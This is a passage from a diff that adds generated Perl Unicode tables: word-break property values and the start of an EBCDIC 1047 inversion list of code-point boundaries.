+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Regional_Indicator,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Modifier,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base_GAZ,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#endif	/* defined(PERL_IN_REGEXEC_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV _Perl_WB_invlist[] = { /* for EBCDIC 1047 */
+	1744,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xD,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x40,
+	0x42,
+	0x4A,
+	0x4B,
+	0x4C,
+	0x51,
+	0x5A,
+	0x5E,
+	0x5F,
+	0x62,
+	0x6A,
+	0x6B,
+	0x6C,
+	0x6D,
+	0x6E,
+	0x70,
+	0x79,
+	0x7A,
+	0x7B,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xB3,
+	0xB4,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFA,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2D8,
+	0x2DE,
+	0x2E5,
+	0x2EC,
+	0x300,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x483,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x589,
+	0x58A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x5F4,
+	0x5F5,
+	0x600,
+	0x606,
+	0x60C,
+	0x60E,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x620,
+	0x64B,
+	0x660,
+	0x66A,
+	0x66B,
+	0x66C,
+	0x66D,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6DD,
+	0x6DE,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7C0,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7F8,
+	0x7F9,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x840,
+	0x859,
+	0x85C,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9E4,
+	0x9E6,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC81,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD58,
+	0xD5F,
+	0xD62,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x104A,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x1360,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1715,
+	0x1720,
+	0x1732,
+	0x1735,
+	0x1740,
+	0x1752,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x180B,
+	0x180E,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A00,
+	0x1A17,
+	0x1A1C,
+	0x1A55,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1BF4,
+	0x1C00,
+	0x1C24,
+	0x1C38,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1D00,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2000,
+	0x200B,
+	0x200C,
+	0x200D,
+	0x200E,
+	0x2010,
+	0x2018,
+	0x201A,
+	0x2024,
+	0x2025,
+	0x2027,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x203F,
+	0x2041,
+	0x2044,
+	0x2045,
+	0x2054,
+	0x2055,
+	0x205F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x20D0,
+	0x20F1,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x24B6,
+	0x24EA,
+	0x261D,
+	0x261E,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
+	0x26F9,
+	0x26FA,
+	0x2708,
+	0x2709,
+	0x270A,
+	0x270E,
+	0x2764,
+	0x2765,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3000,
+	0x3001,
+	0x3005,
+	0x3006,
+	0x302A,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303D,
+	0x3099,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3358,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA717,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA900,
+	0xA90A,
+	0xA926,
+	0xA92E,
+	0xA930,
+	0xA947,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9CF,
+	0xA9D0,
+	0xA9DA,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xAA00,
+	0xAA29,
+	0xAA37,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAE0,
+	0xAAEB,
+	0xAAF0,
+	0xAAF2,
+	0xAAF5,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB50,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE00,
+	0xFE10,
+	0xFE11,
+	0xFE13,
+	0xFE14,
+	0xFE15,
+	0xFE20,
+	0xFE30,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFE51,
+	0xFE52,
+	0xFE53,
+	0xFE54,
+	0xFE55,
+	0xFE56,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF07,
+	0xFF08,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1B,
+	0xFF1C,
+	0xFF21,
+	0xFF3B,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFF9,
+	0xFFFC,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102E1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10AE7,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x11066,
+	0x11070,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11150,
+	0x11173,
+	0x11174,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111D0,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11450,
+	0x1145A,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115D8,
+	0x115DC,
+	0x115DE,
+	0x11600,
+	0x11630,
+	0x11641,
+	0x11644,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116AB,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173A,
+	0x118A0,
+	0x118E0,
+	0x118EA,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11A9A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C41,
+	0x11C50,
+	0x11C5A,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF5,
+	0x16B00,
+	0x16B30,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16B50,
+	0x16B5A,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
